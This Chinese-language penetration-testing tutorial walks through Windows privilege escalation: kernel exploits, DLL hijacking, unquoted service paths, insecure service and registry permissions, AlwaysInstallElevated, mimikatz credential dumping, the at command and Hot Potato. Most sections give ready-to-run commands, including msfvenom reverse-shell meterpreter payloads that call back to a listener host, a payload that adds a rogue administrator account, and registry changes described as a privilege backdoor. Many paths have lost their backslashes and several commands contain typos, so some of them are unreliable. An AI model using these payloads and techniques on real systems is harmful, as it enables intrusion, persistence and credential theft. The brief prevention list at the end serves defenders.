- 信息收集:此阶段是我们将构建场景以在稍后深入研究的主要阶段,我们应该确保枚举了所有给定的范围
- 计划:为下一步做计划,列出所有收集到的信息,这一阶段将组织好过程,避免忘记或丢失重要的方法。
- 探测:这一阶段的重点是确保漏洞的存在。
- 攻击:利用漏洞来强调漏洞是真正的威胁,可以用来对付客户。
KERNEL EXPLOITATION
- 大量的攻击表明,攻击者可以通过用户模式应用程序/软件执行特定于攻击者的代码。
- 如MS14-058
- 探测:
post/windows/gather/enum_patches
post/multi/recon/local_exploit_suggester
- 使用第二个模块来信息收集
use post/multi/recon/local_exploit_suggester
set lhost 192.168.43.14
set session 1
- 它自动的为我们匹配出了一些可能的用于易受攻击目标提权的漏洞利用的exp模块
+] 192.168.19.158 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 192.168.19.158 - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable.
[+] 192.168.19.158 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.
[+] 192.168.19.158 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.
[+] 192.168.19.158 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 192.168.19.158 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 192.168.19.158 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The target service is running, but could not be validated.
[+] 192.168.19.158 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
- 选择了第一个模块进行攻击,可见成功后返回了新的、提升权限成功后的session会话
服务攻击:
- DLL劫持
- 不安全的服务权限
- 未上市的路径( Unquoted Path )
- 注册表
- 命名管道
DLL劫持
- 在Windows环境中,当应用程序或服务启动时,它会查找大量DLL,以便正常运行,如果这些DLL不存在,或者没有以良好的方式编写,没有提到绝对的路径,那么攻击者可以在受害机器上获得特权。
- Windows查找DLL的目录以及对应的顺序如下:
- 加载应用程序的目录
- C:WindowsSystem32
- C:WindowsSystem
- C:Windows
- 当前工作目录
- 系统路径环境变量中的目录
原理
- Windows的DLL称为动态链接库,动态链接库技术的本质实际上是将可执行文件与库文件分离,DLL库文件通过导出表提供API接口,PE加载器通过exe文件的导入表加载相应的DLL,并根据exe文件中的INT查询DLL中的函数地址,同时写入IAT。
- 当PE加载器根据exe文件的导入表加载DLL文件时,它会按照程序的当前目录-->system32目录-->windows目录-->PATH环境变量设置的目录来依次查找要加载的DLL文件。因此,我们可以在伪造一个导入表同名的DLL文件,放置到exe文件的目录中,让PE加载器加载我们伪造的DLL文件,从而实现劫持。
3.DLL的转发器功能为我们提供了必要的条件,所谓DLL转发器功能是将对某个DLL文件的导出函数调用转到另一个DLL文件的导出函数中。 - 微软为了更进一步的防御系统的DLL被劫持,将一些容易被劫持的系统DLL写进了一个注册表项中,那么凡是此项下的DLL文件就会被禁止从EXE自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用。注册表路径如下:
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs
- 通过上面的截图我们可以发现,以前经常使用的一些劫持DLL已经被加入了KnownDLLs注册表项,这就意味着使用诸如usp10.dll,lpk.dll,ws2_32.dll去进行DLL劫持已经失效了。
- 不过,微软又莫允许用户在上述注册表路径中添加“ExcludeFromKnownDlls”注册表项,排除一些被“KnownDLLs注册表项”机制保护的DLL。也就是说,只要在“ExcludeFromKnownDlls”注册表项中添加你想劫持的DLL名称就可以对该DLL进行劫持,不过修改之后需要重新启动电脑才能生效。
- 述描述加载DLL的整个过程中,DLL劫持漏洞就是在系统进行安装“DLL路径搜索目录顺序”搜索DLL的时候发生的。无论安全DLL搜索模式是否开启,系统总是首先会从程序所在目录加载DLL,如果没有找到就按照上面的顺序依次进行搜索。那么,利用这个特性,攻击者就可以伪造一个相同名称,相同导出函数表的一个“假”DLL,并将每个导出函数转向到“真”DLL。将这个“假”DLL放到程序的目录下,当程序调用DLL中的函数时就会首先加载“假”DLL,在“假”DLL中攻击者已经加入了恶意代码,这时这些恶意代码就会被执行,之后,“假”DLL再将DLL调用流程转向“真”DLL,以免影响程序的正常执行。
攻击
方法一
- 启动应用程序
- 使用Process Explorer等类似软件查看该应用程序启动后加载的动态链接库。
- 从该应用程序已经加载的DLL列表中,查找在上述“KnownDLLs注册表项”中不存在的DLL。
- 确保你可以在丢失的DLL文件夹上编写
- 使用msf创建有效负载作为DLL
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.43.14 lport=5230 -f dll > pentestlad.dll
- 将编写好的劫持DLL放到该应用程序目录下,检测是否劫持成功。
- 当系统重启或进程重新被打开,检测是否能攻击
方法二
- 使用msf模块
use exploit/windows/browser/webdav_dll_hijacker
- 未成功
不安全的服务权限
- Windows services的工作是在后台工作,其中一些服务确实存在渗透问题,使得攻击者可以使用这些服务获得特权
探测
- cmd:
Sc.exe sdshow <service_name>
命令行程序.exe -uvwc<service_name>
攻击
- msf:
exploit/windows/local/trusted_service_path
- 首先获得shell,然后输入background返回并保存会话,再使用msf中的模块。它会逐步的查找所有服务并尝试攻击。
unquoted path未被引号标记的路径
- 如果服务可执行路径没有用引号括起来并包含空格,则会出现此漏洞。
- 当我们有权用我们的恶意EXE文件替换目标文件夹中的任何执行文件时,那么下次再次调用系统回扣或服务时,它将运行我们的恶意EXE
- 当调用服务时,它将查找该命令上的第一个exe文件
- C:Program.exe
- C:Program FilesService.exe
- C:Program FilesService Directoryinary.exe
- C:Program FilesService Directoryinary name.exe
探测
- cmd:
wmic service get ne,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:Windows\" |findstr /i /v """
- Icalcs工具可以帮助您确保您有权重写目标文件夹
icacls "C:Program Files (x86)Program Folder"
F (full access)
M (modify access)
RX (read and execute access)
R (read-only access)
W (write-only access)
Exploitation
攻击
- 首先下载和安装有漏洞的应用——photodex proshow
- 获取meterpreter session后,打开命令shell
- 枚举运行在受害者设备上运行的所有服务,通过下面的命令在引号标签中的限制:
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:windows\" |findstr /i /v """
- 枚举出路径
C:Program FilesPhotodexProShow ProducerScsiaccess.exe
,可以看出在文件名和路径中没有引号标签。 - 用下面的命令可以查看文件夹的权限:
icacls Scsiaccess.exe
,对每个人都有写权限,也就是说用户raj可以覆写所有文件。
6.用msfvenom来生成exe payload:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.43.14 lport=5230 prependmigrate=true prepenmigrateprocess=explorer.exe -f exe > /root/Desktop/scsiaccess.exe
//上面的命令会在桌面上创建一个恶意exe文件,然后发送给受害者。如果当前进程被杀,payload就会移动其进程;如果受害者从系统中杀掉payload的当前进程id,攻击者就不会失去它的session。
7.用恶意exe替换原exe文件,然后将原来的Scsiaccess.exe命名为Scsiaccess.exe.orginal,上传恶意Scsiaccess.exe文件到相同文件夹中,然后重启受害者机器。
8.同时启动multi/handler listener,来抓取管理权限的meterpreter session。
use exploit/multi/handler
msf exploit(multi/handler) set payload windows /meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.43.14
msf exploit(multi/handler) set lport 5230
msf exploit(multi/handler) exploit
- 成功获得了shell的管理权限。
服务注册表键
-
注册表是一个分层数据库,其中包含对Windows操作以及在Windows上运行的应用程序和服务至关重要的数据。数据以树格式结构化。树中的每个节点都称为键。
-
HKLMISYSTEMCurrentControleSetServices
-
对注册表项的访问由Windows安全模型控制
-
不安全的权限可以在与服务关联的注册表项中找到。与系统中的任何其他安全对象一样。
探测
- powershell:
Get-Acl -Path hklm:SystemCurrentControleSetService* |Select Path,AccessToString | Format-List
- AccessChk (Sysinternal) 命令行程序
Accesschk.exe –kvusw hklmSystemCurrentControleSetService
攻击
- 创建自定义服务二进制文件
Msfvenom –p windows/exec CMD=<Command> -f exe-services –o <service binery>
- 加码imagepath子键(使用自定义二进制文件的路径有价值服务的子键)
Reg.exe add HKLMSystemCurrentControleSetService<Service nam> /v ImagePath /t REG_EXPAND_SZ /d <path_to_exe> /f
Named Pipes 命名管道
- 命名管道是一种机制,它使应用程序能够在本地或远程进行进程间通信。创建管道的应用程序称为管道服务器,连接到管道的应用程序称为管道客户机。与套接字类似,在服务器创建命名管道之后,管道客户机可以连接到服务器。
- 要对管道进行操作,我们应该找到一个对“真实用户”或“所有人”群体渗透较弱的管道
- 有一个漏洞允许攻击者模拟更高权限的帐户,如果该帐户已经在内存中,则可以充当更高级别的帐户
探测
- Process Explorer (Sysinternal)
- Pipelist (Sysinternal)
- Powershell
[System.IO.Diroctory]::GetFiles(“\.\pipe\”)
- 列出我们可以使用的每个管道的DACLs
- Pipsec.exe (Beyond Logic)
- Pipsec.exe (Beyond Logic)
例:CVE-2018-15514漏洞
注册表攻击(REGISTRY EXPLOITATION )
- 正如微软所描述的注册表:“注册表是一个分层的数据库,其中包含的数据对Windows的操作以及在Windows上运行的应用程序和服务至关重要。“这些数据库有一些敏感数据或具有更高的特权文件夹,而不考虑安全性。
- 我们可以说有两种方法来处理windows系统上的特权
- Autorun
- AlwaysInstallElevated
autorun
- 该漏洞将允许低权限用户覆盖一个自动运行文件,并等待高权限用户登录,它将在用户内容中执行,在那里您可以在注册表树中找到易受攻击的寄存器。
HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun
HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce
HKEY_LOCAL_MACHINESoftwareWow6432NodeMicrosoftWindowsCurrentVersionRun HKEY_LOCAL_MACHINESoftwareWow6432NodeMicrosoftWindowsCurrentVersionRunOnc e
HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunService
HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnceService
HKEY_LOCAL_MACHINESoftwareWow6432NodeMicrosoftWindowsCurrentVersionRunServ ice
HKEY_LOCAL_MACHINESoftwareWow6432NodeMicrosoftWindowsCurrentVersionRunOnc eService
探测
- Powershell
Get-Property <register-key>
- Reg.exe
Reg.exe query <registry key>
- PowerUp
- Autoruns(Sysinternals)
攻击
- 创建自定义EXE文件
- 将exe文件重命名并复制到指定的位置
AlwaysInstallElevated
- 您可以使用alwaysinstallElevated策略来安装具有更高(系统)特权的Windows安装程序包。正如微软所描述的,要安装具有升级(系统)特权的包,请在以下两个注册表项下将alwaysinstallhigher值设置为“1”:
HKEY_CURRENT_USERSoftwarePoliciesMicrosoftWindowsInstaller
HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsInstaller
- 如果上述两个注册表项下的值都没有设置为“1”,安装程序将使用提升的特权来安装托管应用程序,并将当前用户的特权级别用于非托管应用程序。
探测
命令行查询
Reg.exe query <registry key>
reg query HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated
reg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated
- 以下为查询结果
- 组策略里AlwaysInstallElevated没有开启,显示"错误: 系统找不到指定的注册表项或值”的提示
- 通过更改注册表来开启AlwaysInstallElevated(必须同时修改两处注册表键值),进而提升权限,甚至当成提权后门。
- 命令
reg add "HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller" /v AlwaysInstallElevated /t reg_dwo
rd /d 1 /f
reg add "HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller" /v AlwaysInstallElevated /t reg_dwo
rd /d 1 /f
- 看见已添加此处键值
攻击
生成恶意MSI
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o rotten.msi
-
传到电脑并运行
msiexec /quiet /qn /i 1.msi
-
糟糕被发现了!
-
查看管理员账户
net localgroup administrators
msf模块
exploit/windows/local/always_install_elevated (Metasploit)
- 设置session=1
PASSWORD DUMPING
- Credential dumping 是指从操作系统和软件中获取帐户登录和密码信息的过程,通常以散列或明文密码的形式出现,凭证转储有几种技术
- Memory存储器
- Registry注册表
- Configuration Files配置文件
- .rdp Files
存储器
- 可以以明文形式存储在运行应用程序的内存空间中,我们可以访问运行在用户上下文中的应用程序内存空间
攻击
- 将正在运行的进程内存空间写入文件
- 寻找信用
- 用来取出信用的工具
- 任务管理器Taskmgr
- 破解内存密码Mimikatz
- Out-minidump.ps1 (powerSploit) 小存储器转储文件
- Invoke-mimikittenz.ps1 (putterpanda)
- 脱壳软件ProcDump (Sysinternals)
-
使用msf,在meterpreter会话中执行
run post/windows/gather/smart_hashdump
-
获得了本地账户的hash,获取明文密码,我们需要先载入mimikatz模块,在Meterpreter会话执行以下命令即可
meterpreter>load mimikatz
-
然后需要确保当前进程为系统权限,直接执行以下命令:
meterpreter>msv
注册表
- 自动登录可以通过网络设置(可以设置渠道)
- 组策略首选项
- Betplwiz.exe
- 我们可以直接编辑寄存器
- HKEY_LOCAL_MACHINESoftwareMicrosoftWindows NTCurrentVersionWinlogon
- PuTTY
HKEY_LOCAL_MACHINESoftwareSimonTathamPuTTYSession
攻击
- PowerUp.ps1
- post/windows/gather/credentials/windows_autologin (Metasploit)
配置文件
无防范的安装程序Unattended windows setup
- 它与无人值守的安装应答文件一起工作,以自动化windows的在线安装和定制。这种方法适用于大规模的滚动,并在每台计算机的配置中实现一致和精确。
- %WINDIR%PantherUnattend
- %WINDIR%Panther
- %WINDIR%System32Sysprep
Web.config
- 大多数在web服务器或客户端有web服务器时,我们可以找到明文密码和用户名以及许多有用的信息。
- 存储包含数据库认证信息的
元素 - 凭据可以以明文形式存储或加密
- DPDA用户可以是机器级的,也可以是用户级的加密密钥
- 如果授予低特权用户访问用于加密的密钥容器的权限,则他们可以解密
- 存储包含数据库认证信息的
计划任务
- 任务调度程序使您能够在选定的计算机上自动执行常规任务。任务调度程序通过监视您选择的启动任务的任何条件(称为触发器),然后在满足条件时执行任务来实现这一点。
探测
- Task Scheduler
- Schraskes.exe /query /TN
/xml
- Schraskes.exe /query /TN
- Autoruns (Sysinternals)
- Power-up,ps1
攻击
- 运用到古老的入侵命令:at
at是一个发布定时任务计划的命令行工具,语法比较简单。通过at命令发布的定时任务计划,Windows默认以SYSTEM权限运行。定时任务计划可以是批处理、可以是一个二进制文件。 - 语法:at 时间 命令
- 例子:at 10:45PM calc.exe
该命令会发布一个定时任务计划,在每日的10:45启动calc.exe。 - 我们可以通过 “/interactive”开启界面交互模式:
at 10:45PM /interactive calc.exe
- 验证是否以SYSTEM权限启动
- 使用“at 10:56PM /interactive calc.exe”命令创建一个定时任务计划。
参考文档如何使用at
烫手山芋HOT POTATO
原理
- 利用Windows中已知的问题,在默认配置中获得本地特权升级,即NTLM中继(特别是HTTP->SMB中继)和NBNS欺骗。包含三个要对目标执行的攻击,以获得权限升级。
- Local NBNS Spoofer 本地欺骗
- Windows系统构建执行DNS查找,首先Windows将检查“hosts”文件。如果不存在条目,它将尝试DNS查找。如果失败,将执行一个NBNS查找,它将生成一个伪响应并用NBNS响应淹没目标主机,并用NBNS响应淹没目标主机。
- Local NBNS Spoofer 假冒WPAD代理服务器
- 在Windows中,Internet Explorer默认情况下将通过访问URL“http://wpad/wpad.dat”自动检测网络代理设置配置。我们将制作NBMS包并启动HTTP localhost,让机器认为我们是一个更新服务。
- HTTP -> SMB NTLM Relay
- NTLM协议容易受到中间人攻击。如果攻击者可以欺骗用户尝试使用NTLM 对其机器进行身份验证,那么他可以将该身份验证尝试转发到另一台机器!
攻击
- 在Hot Potato中执行的命令运行msfcvenom生成的msf后门pentest.exe。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.43.14 lport=5230 -f exe > pentest.exe
在开始提权之前,我们在另外一个窗口获取到一个普通权限的shell,然后运行pentest.exe,并且在刚才的窗口使用msf中的handler模块来接受连接。 - 一定要打开第二个shell,因为它用于Hot Potato在HTTP通信过程避免等待时间,并且打开浏览器进行通信。当然这与这种提权方法有关。
-
在第一个shell中,我们执行Potato的exp,略微修改它的执行命令,让他运行我们的后门程序pentest.exe
Potato.exe -192.168.43.14 -cmd “Z:\pentest.exe” -disable_exhaust true
-
在第二个shell中打开ie浏览器,以便第一个shell可以捕获http流量。
cd C:Program FilesInternet Exploier
- 这将导致Hot Potato通过不同的协议(HTTP到SMB)创建一个系统服务执行pentestlab3.exe后门:
- 第三个Msf的handler应该用于侦听系统权限返回的meterpreter的shell。
启动应用程序
- 通常情况下,一些应用程序需要准备,每当PC是在我们可以使用它来特权我们的用户级使用启动应用程序,我们可以找出什么是启动列表上的应用程序
- 单一用户模式
C:Users\%username%AppDataRoamingMicrosoftWindow sStart MenuProgramsStartup
- 所有用户
C:ProgramDataMicrosoftWindowsStart MenuProgramsStartup
- 我们可以在任何路径上使用icacls应用程序来找出我们在启动应用程序位置得到了什么渗透
icacls "C:Program Files (x86)Program Folder"
F (full access)
M (modify access)
RX (read and execute access)
R (read-only access)
W (write-only access)
预防
- 执行强密码策略,以限制在获得哈希值时密码被破解。
- 持续监控管理帐户登录。
- 对敏感服务(如VPN、VDI和邮件服务)实施两个因素身份验证。
- 根据时间、IP和用户限制对敏感服务器(dc、文件共享、交换和其他)的访问。
- 为每台机器实现不同的本地管理帐户。
- 经常更改服务帐户,不要使其“永不过期”。
- 始终保持对系统的补丁,以避免内核漏洞。
- 请勿在任何电脑或共用资料夹内储存清晰的文字密码或任何敏感资料。
- 从可信源下载应用程序
- 通过使用有效的端点解决方案并结合应用程序白名单(如AppLocker)来添加另一层安全性,以防止可移植的可执行程序